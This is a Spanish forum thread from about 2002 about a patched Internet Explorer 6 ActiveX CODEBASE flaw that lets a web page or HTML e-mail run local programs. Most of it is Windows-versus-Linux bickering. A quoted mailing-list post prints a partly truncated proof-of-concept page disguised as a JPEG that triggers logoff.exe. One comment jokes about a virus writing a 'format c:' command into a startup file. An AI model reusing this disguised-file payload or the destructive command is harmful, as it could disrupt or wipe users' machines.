Vulnerabilidad en IE 6.0 permite apagar un ordenador desde una página web

En esta página afirma que en enero y febrero ya se lo comunicaron a M$ 2 equipos independientes, y que lo que era en principio una vulnerabilidad que pretendia arrancar la calculadora, o el paint, se puede volver para apagar el sistema, pero lo grave no es solo que sea con una página Web, sino que con el Outlook Express tambien estarias afectado.... huyyy que mala idea, virus que te modifique el fichero de inicio: "format c: /u /q" y que luego te apague el trasto

(link roto)

Otro enlace con la misma noticia

(link roto)

Que fuerte!! Yo creo que en M$ se entrenan para desarrollar lo nunca visto... nuevas fronteras... nuevos horizontes...

En el fondo debemos estar agradecidos a Bill Gates (igual que ha Telefónica). Hay que pensar que si no fuese por ellos no exisitirían webs como estas... y no podriamos reirnos de pena ante noticias como estas...

Lo que más me ha hecho gracia (por no decir pena) es un comentario que hay seguido a la noticia original: "Windows no es el único sistema operativo con fallos. El problema o mejor dicho la ventaja :-) es que es el mas difundido y está en el punto de mira de mucha gente...". ->> ¿Pero realmente hay gente tan ilusa que es capaz de pensar que fallos como este se dan en otros S.O.?
... Y si los hay, al menos no se venden como el arrogante-genuino-supremo SO que lo revoluciona todo en la informática.

Saludos a todos

PD: Felicidades Billy por tu gran lavor social! Qué hariamos sin ti...

No se si estoy en lo cierto, pero, este parece ser el fallo del IE que se expone aqui:

http://support.microsoft.com/default.aspx?scid=kb;EN-US;q319235 , no se si estoy en lo cierto, pero este fallo parece ser el que se expone en el post.

A vulnerability exists in Internet Explorer that could allow an attacker to run local programs on a user's computer. The attacker could send a specially formatted HTML e-mail message or could create a Web page that, when it was opened, could run a program on the user's local computer. It is important to note that no parameters can be sent. The extent to which an attacker could exploit this vulnerability is limited to running a local program, or to logging the user off from the user's own local computer. This vulnerability results from the way in which Internet Explorer handles ActiveX objects, specifically with the codeBase property . If you set the CODEBASE property of an object or program to the file path of a local program file, that program file can be invoked without prompting the user. This occurs because when the HTML is processed, it tries to bind to the source. This results in the program file being run because the CODEBASE tag and the OBJECT tag run in the same zone (for example, the My Computer zone). In this case, they should be running in the Internet zone, which would prevent local programs from being run on the user's computer.

The update for this problem is included in the "March 28, 2002, Cumulative Patch for Internet Explorer." For additional information about how to obtain this patch, click the article number below to view the article in the Microsoft Knowledge Base:

Q319182 MS02-015: March 28, 2002, Cumulative Patch for Internet Explorer

Si estoy en lo cierto, este fallo esta solucionado desde el 28 de marzo, con el parche acumulativo para Internet explorer.

Y si estoy en lo cierto tambien, este fallo lo saco guninsky el 18 de octubre del 2000.

Fin de transmision..........

Un saludo de Mihe! MCT

Hasta los mismísimos estoy de las criticas a todo lo que hace microsoft,espero que todos estos criticos usen el Netscape sobre linux y que no tengan ni un solo mega de una unidad con fat32 o ntfs.....¡dejennos en paz ya! a los que queremos ir tirando con nuestro torpe windows 2000 en el que todo funciona muy facil y simple...y con nuestro IExplorer de mierda que es tan malo que todo dios lo tiene...porque todo dios esta equivocado ¿verdad linuxeros? ¿a que somos todos unos ....como nos llamais......."lammers" ...."inutiles".....pues eso

Por cierto el "Logoff.exe" no existe en windows 2000 y tengo ya mis dudas de que exista en windows XP

Es realmente curioso, hoy mismo hemos asistido a unas jornadas Microsoft TechNet, y para variar, han puesto un poco a parir a sistemas linux, en concreto han comparado un 2000 advanced server actualizado al 100% con un Redhat linux 6.1 (ironico no?). Como era de esperar en una presentación de microsoft, los productos ms, son muy superiores a el resto de competidores ...

En fin, que os voy a contar q no sepais ya.

Nos hemos hecho algunas fotos, pakito, joshua & yo, y mañana las postearé o algo, q hoy estoy realmente cansado. (Ahora vuelvo de una empresa de reparar 4 maquinas infectadas con Win32.Magistr.B@mm podeis encontrar mas info en -> (link roto) <- ).

Solo deciros que las jornadas han sido positivas por otra parte, he aprendido nuevas funciones de windows 2000 server, y me han regalao un libro y un monton de cd's con trials. xDD

bye

Y nadie se atreve a decir nada, .... a ver linuxeros.... quien tiene un servidor advance server no lo utiliza para navegar por internet, al menos que este bajando algun software para instalarlo (es un server no una maquina para navegar), al menos que seas un gili que tiene instalado el advance por que no tiene mas nada que hacer, y no sabe ni la mitad de las utilidades que tiene...

Segundo, fallos de seguridad, es verdad siempre lo tienen, y no solo guindows, todos los sistemas en general, nadie es perfecto, y como dic en por ahi , el software esta hecho por humanos.

El que tiene servidores de verdad y no para jugar, tiene un buen firewall, y ya sabe lo que debe y no debe hacer en cualquier tipo de servidores, sean linux, windows, unix, lo que quieras.

El fallo de seguridad del que hablan es verdad, lo he comprobado, en el servidor advance y no ha pasado nada (servidor advance server con IIS) y no habia bajado actualizaciones de windows hace mas de una semana...

Asi que veamos, criticos es bueno tener, asi los administradores de sistemas, saben lo que ahi, peor no vengan a decir que alguien postea aqui un bug, para crear polemica, la polemica la han creado, varios que no saben ni de lo que hablan... o no?

Pues eso que este fallo ya se anuncio en su momento, no es nuevo, os acordais del fallo que abria la calculador? pues es ese lo unico que en vez de abrir la calculadora abren el logoff ese, pero weno el fallo ya se publico en su momento vease Nuevo fallo de seguridad en Internet Explorer

Microsoft aun no a puesto remedio a esto, pero CyRaNo del grupo heinekenteam.com desarrolo un patch al registro que impide la ejecucion de estos comandos, podeis encontrarlo en esta direccion:

(link roto)

Saludos.

Señores, no estamos hablando de que es mejor o peor. A mi personalmente, lo que me molesta, es que se pongan noticias sin documentarse antes, y que la gente, hable sin saber, sobre todo los tipicos niños-vicio, de esos que dice su madre que sabe mucha informatica porque esta todo el dia en el ordenador (jugando al counter strike), y que dicen que linux y tal es superior en todos los sentidos a otros sistemas operativos, solo porque lo han oido en un canal de IRC y en tres o cuatro foros.

Otra cosa que no esta bien, es que la gente use este weblog, relativamente serio, para iniciar flames que no llevan a ninguna parte, y a poner post sin sentido.

Un saludo de Mihe! MCT

RECUERDO A TODOS QUE AQUI SE ESTA COMENTANDO UN BUG DE SEGURIDAD DEL INTERNET EXPLORER Y NO LAS DIFERECNIAS ENTRE LINUX Y WINDOWS NI MUCHO MENOS LOS CONOCIMIENTOS DE CADA UNO.

De lo que yo si estoy harto es de ver comentarios de personas que solo se preocupan (o aprovechan cualquier oportunidad) para hacer saber a todo el mundo los conocimientos y la experiencia que tienen.

Vosotros creeis que de esta manera esta web será lo suficientemente seria como para ser fuente de información para gente que se dedica al mundo de la informatica y las comunicaciones? En barrapunto y otros sitios afortunadamente no veo "competiciones" de este tipo donde cada cual se pone más gallito que el anterior para darselas de listo y enterado.

Yo cuando vengo aqui quiero obtener informacion interesante y util y no leerme el curriculum de todos vosotros. Por qué no se crea un foro de discusion de tema libre? Seria una especie de ring de combate a donde podeis trasladar vuestras discusiones personales y ahi si quereis os machacais los cuernos el uno contra el otro.

En cualquier caso, y viendo lo mucho que se critica el IE, que alguien me diga si ha sufrido alguno de los bugs del IE o conoce a alguien que los haya sufrido como para decir que IE es una mierda o un coladero.

Esta claro que el 90% de los usuarios de Internet usa Internet para fines domesticos y en ningun caso para uso profesional, con lo cual Windows es una opcion muy simple para usar Internet y con un simple firewall ya te evitas muchos problemas de seguridad. Con esto quiero decir que al usuario de la calle le da igual en cuanto supera LINUX a Windows en rendimiento o en otro aspectos porque aunque LINUX superara a Windows en todos los aspectos al 300% la gente seguiria tirando por lo facil y simple. Eso es un hecho y por mucho que se critique no se va a cambiar la comodidad de la gente. Los que usais LINUX aprovechad vuestros conocimientos para sacarle provecho y los que usamos Windows saquemosle el poco jugo que le puede sacar pero que para nosotros es mas que suficiente.

Cada uno con lo que mas le guste y punto... tan dificil es de entenderlo y de tolerar y respetar lo que cada uno quiere tener en su PC??!!

Verguenza ajena siento cuando veo a tanto predicador de software libre, licencias pgl y blablabla! y luego son los primeros en hechar por tierra todo esto porque son incapacez de comprender de que cada cual es libre de elegir el S.O., soft, hard que le de la gana.

Cada S.O. tiene sus ventajas he inconvenientes, por muy mal que se vea a M$ hay que entender que revoluciono la informática y que ha acercado la misma a muchos hogares. Que tambien Linux ha escalado muchas posiciones gracias a los interfaces gráficos que hacen las cosas "más faciles" y en nuestro caso a las distribuciones en español para aquellos que el ingles es muy dificil de comprender.

Entended que cada cual y vuelvo a repetir ES LIBRE de elegir lo que mas le convenga sea mas comodo y le vaya a sacar mas partido. Ni todos los usuarios de M$ son "torpes" ni todos los de Linux son "Gurus" de la informática.

Salu2 Bull

El que nunca se acuerda de logearse :-P

Trabajo en un servicio tecnico de pcs y tambien reparo apple, la cuestion es que la razon a estos enfrntamientos la tienen todos ,yo uso windows2000 me va bastante bien,tambien probado por encima distrbuciones de red hat,mandrake y corel linux porque para opinar hay que probar, estamos de acuerdo de que es un engorro el estar cada dos por tres en la pagina de windows bajandonos montones de parches que la gran mayoria de usuarios no se preocupan de esto.En mi breve experiencia con linux no dudo de su buen funcionamiento ,pero creo si no lo utiliza mas gente es por que no se piensa en el usuario de andar por casa ,por que hay cada nombrecito para las aplicaciones y herramientas ... hay usuarios que les cuesta en win98 no veas en linux.En fin que en vez de ponerse verdes unos a otros a currar cada uno en lo suyo y con el SO que crea conveniente y que linux tambien tiene fallos y gordos ,aqui van unos articulos.

vsantivirus.com/vul-linux-zlib.htm

vsantivirus.com/16-03-02.htm

vsantivirus.com/31-03-02.htm

vsantivirus.com/03-03-02b.htm

Saludo

Que seria de la informatica si no hubiera errores o bug esto hace la vida informatica entretenida si un sistema operativo fuera 100 perfecto las empresas no gastarian una peseta en sacar versiones nuevas no habria nucleos de Linux mejorados. Yo creo que el personal de Micropuag lo uno que hace es mantener su trabajo.

Alguien me puede decir donde coño esta la nueva version del modo multijugador(internert) pa jugar al NFSV

The latest MSIE-hole is now spreading.
> >
> > THE ATTACHED HTML-code is served as a jpeg-file, and as MSIE ignores the
> > Content-Type if it "thinks" it knows better, then the code is executed.
> > This in combination with the malicious code that is possible to run,
>then
> > an "innocent.jpg" with the following content will log off an XP-user.
> >
> > --%< cut here-----
> > <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
> > <HTML>
> > <HEAD>
> > <TITLE>IE6 security...</TITLE>
> >
> > <META http-equiv=Content-Type content="text/html; charset=windows-1252">
> > <SCRIPT language=JScript>
> >
> > var programName=new Array(
> > 'c:/windows/system32/logoff.exe',
> > 'c:/winxp/system32/logoff.exe',
> > 'c:/winnt/system32/logoff.exe'
> > );
> >
> > function Init(){
> > var oPopup=window.createPopup();
> > var oPopBody=oPopup.document.body;
> > var n,html='';
> > for(n=0;n<programName.length;n++)
> > html+="<OBJECT NAME='X'
> > CLASSID='CLSID:11111111-1111-1111-1111-111111111111' C
> > oPopBody.innerHTML=html;
> > oPopup.show(290, 390, 200, 200, document.body);
> > }
> >
> > </SCRIPT>
> > </head>
> > <BODY onload="Init()">
> > You should feel lucky if you dont have XP right now.
> > </BODY>
> > </HTML>
> > --%< cut here-----

Con lo bien q iva el Windows 3.11! no se me colgó casi nunca en mi 486dx 40 :) Aunque hay q decir la verdad en mi k7 1333 ddr tpoco tengo problemas con XP, y me da igual k me apaguen el pc desde una web, igual me pasará 1 o 2 veces en mi vida como mucho ;)

Solo tuve problemas con mi i486DX-4 75@100MHz y windows 95 OSR2. Aquello era una maquina de reiniciar :), culpa del so claro.

La verdad mientras pueda hacer lo q yo quiera, no me importa lo demas. XD